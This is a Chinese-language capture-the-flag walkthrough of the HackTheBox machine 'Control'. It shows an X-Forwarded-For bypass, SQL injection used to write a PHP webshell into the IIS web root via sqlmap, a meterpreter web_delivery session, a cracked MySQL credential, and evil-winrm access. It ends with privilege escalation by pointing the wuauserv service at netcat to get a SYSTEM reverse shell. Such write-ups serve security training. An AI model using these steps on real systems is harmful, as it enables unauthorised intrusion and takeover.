基本信息
lab地址:https://www.hackthebox.eu/home/machines/profile/218
端口扫描
三个端口:

80

扫描目录发现存在一个admin.php,直接访问被拒绝:


提示缺失Header,需要通过代理访问,代理header那应该是XFF之类的,在首页源码能看到注释中的信息:

那么可以尝试用这个IP作为XFF头,直接burp加一条规则:


SQL注入
是一个简单的CRUD,很容易就发现存在注入:

不是DBA,直接os-shell能写入UDF,但没有回显:

getshell
那么可以尝试写webshell,因为是IIS,sql-shell测试写到IIS默认目录可以写入成功:
1 | select "<?php phpinfo(); ?>" into outfile "C:/inetpub/wwwroot/info.php": 'NULL' |

Sql-shell里写太麻烦,直接这样写webshell
1 | sqlmap -r sql.txt --file-write=shell.php --file-dest=C:/inetpub/wwwroot/shell.php --batch |

然后为了方便可以直接上meterpreter:
1 | use exploit/multi/script/web_delivery |

账号信息
可以在database.php里发现一个账号密码:

另外也可以直接通过注入获取mysql账号密码:
1 | hector | *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D (l33th4x0rhector)| |
root的解不出来
WinRM
我们现在的shell是wwwroot用户,那么接下来应该就是要想办法切换到其他用户
netstat可以看到一个5985端口,这是WinRM 的默认端口,WinRM是Windows 系统的远程管理服务

进行端口转发,使用已经得到的账号密码尝试,能够知道hector的账号密码是正确的,但命令执行报错:
1 | portfwd add -l 5985 -p 5985 -r 10.10.10.167 |

可以换evil-winrm进行操作:
https://github.com/Hackplayers/evil-winrm
这里因为安装问题,换到虚拟机了,使用hector账号密码,在桌面得到user flag

敏感文件
在这个目录发现一个历史记录文件:

1 | *Evil-WinRM* PS C:\Users\Hector\APpdata\roaming\microsoft\windows\powershell\PSreadline> type ConsoleHost_history.txt |
提权
这里可利用的是wuauserv,这个服务是Windows update的一个系统服务,系统权限。



修改这个服务的imagepath,反弹shell,为了方便还是通过hector的shell加载个meterpreter,上传nc,然后
1 | reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\wuauserv |
root flag
执行后得到system权限的reverse shell:


参考资料
- Hackthebox——Control
https://mp.weixin.qq.com/s/8OugAknFrfKs5ujG4WKf1w - powershell反弹shell常见方式 - 安全客,安全资讯平台
https://www.anquanke.com/post/id/99793 - Windows提权笔记 - 先知社区
https://xz.aliyun.com/t/2519